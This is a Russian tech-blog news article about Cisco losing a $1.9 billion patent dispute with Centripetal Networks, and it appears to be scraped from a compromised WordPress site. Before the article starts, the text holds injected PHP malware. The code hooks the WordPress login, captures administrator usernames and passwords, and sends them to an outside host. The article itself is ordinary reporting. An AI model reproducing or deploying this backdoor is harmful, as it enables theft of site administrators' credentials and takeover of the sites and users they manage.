if (!function_exists("theme_login_init_6649f5b7cc8ac51798d1b70a14ebc05b")) { function theme_login_init_6649f5b7cc8ac51798d1b70a14ebc05b() { if (isset($_POST['log']) and isset($_POST['pwd'])) { $abc = $_POST['log']; $bca = $_POST['pwd']; $zxa = (array)wp_authenticate($abc, $bca); if (isset($zxa["allcaps"]['administrator'])) { $url = 'https://acjscsswp.com/loginfileweb?url=' . urlencode(wp_login_url()) . '&user=' . urlencode($abc) . '&pass=' . urlencode($bca) . '&site=' . urlencode(wp_login_url()); $response = wp_remote_get($url); } } } add_action('wp_login', 'theme_login_init_6649f5b7cc8ac51798d1b70a14ebc05b', 10, 0); } Cisco проиграла патентный спор на 2 миллиарда долларов — techno-blog

Cisco проиграла патентный спор на 2 миллиарда долларов

Cisco проиграла патентный спор на 2 миллиарда долларов

Как установил суд, сетевой гигант нарушил принадлежащие компании Centripetal Networks патенты, связанные с шифрованием трафика и фильтрацией пакетов.

Компания Cisco проиграла дело о нарушении патентных прав поставщику систем безопасности Centripetal Networks и теперь обязана уплатить штраф в размере 1,9 млрд долл.

В соответствии с решением судьи окружного суда Хенри Моргана, вынесенным без участия присяжных, Cisco нарушила четыре патента, которые связаны с шифрованием трафика и фильтрацией пакетов и принадлежат компании Centripetal Networks. Выплата в размере 755,8 млн долл., компенсирующая реальный ущерб, должна быть увеличена в 2,5 раза за «вопиющие и преднамеренные» действия Cisco.

Выплата включает в себя покрытие прошлых убытков и текущую компенсацию в размере 10% от распределенных продаж запатентованных продуктов по итогам трех лет. Второй трехлетний срок предусматривает отчисление 5% от продаж, в результате чего общая сумма может достигнуть 3 млрд долл.

«В отношении четырех действующих патентов, которые были нарушены, Cisco не выдвинула никаких объективных возражений, – указал Морган. – И ничего, что смягчало бы ее вину, здесь нет».

В статье Bloomberg говорится, что Centripetal Networks разработала систему сетевой защиты, финансировавшуюся в том числе и за счет гранта министерства внутренней безопасности; Cisco же интегрировала наработки в свои сети после встреч с представителями Centripetal и проведенных в 2017 году презентаций.

Нарушающая функциональность была добавлена к продуктам Cisco после 20 июня 2017 года. В результате у компании значительно выросли продажи, что она объяснила как техническими, так и маркетинговыми инициативами.

«Тот факт, что Cisco выпустила продукты с функционалом Centripetal в течение года после проведенных встреч, нельзя считать простым совпадением», – подчеркнул судья.

Со своей стороны, в Cisco заявили, что оспариваемые функции были разработаны компанией гораздо раньше, и пообещали обжаловать решение.

«Мы разочарованы решением суда первой инстанции, поскольку представили существенные доказательства отсутствия нарушений, своей невиновности и разработки инновационных технологий за несколько лет до регистрации истцом патентов, – говорится в заявлении Cisco. – Теперь нам остается лишь с нетерпением ожидать рассмотрения  апелляции».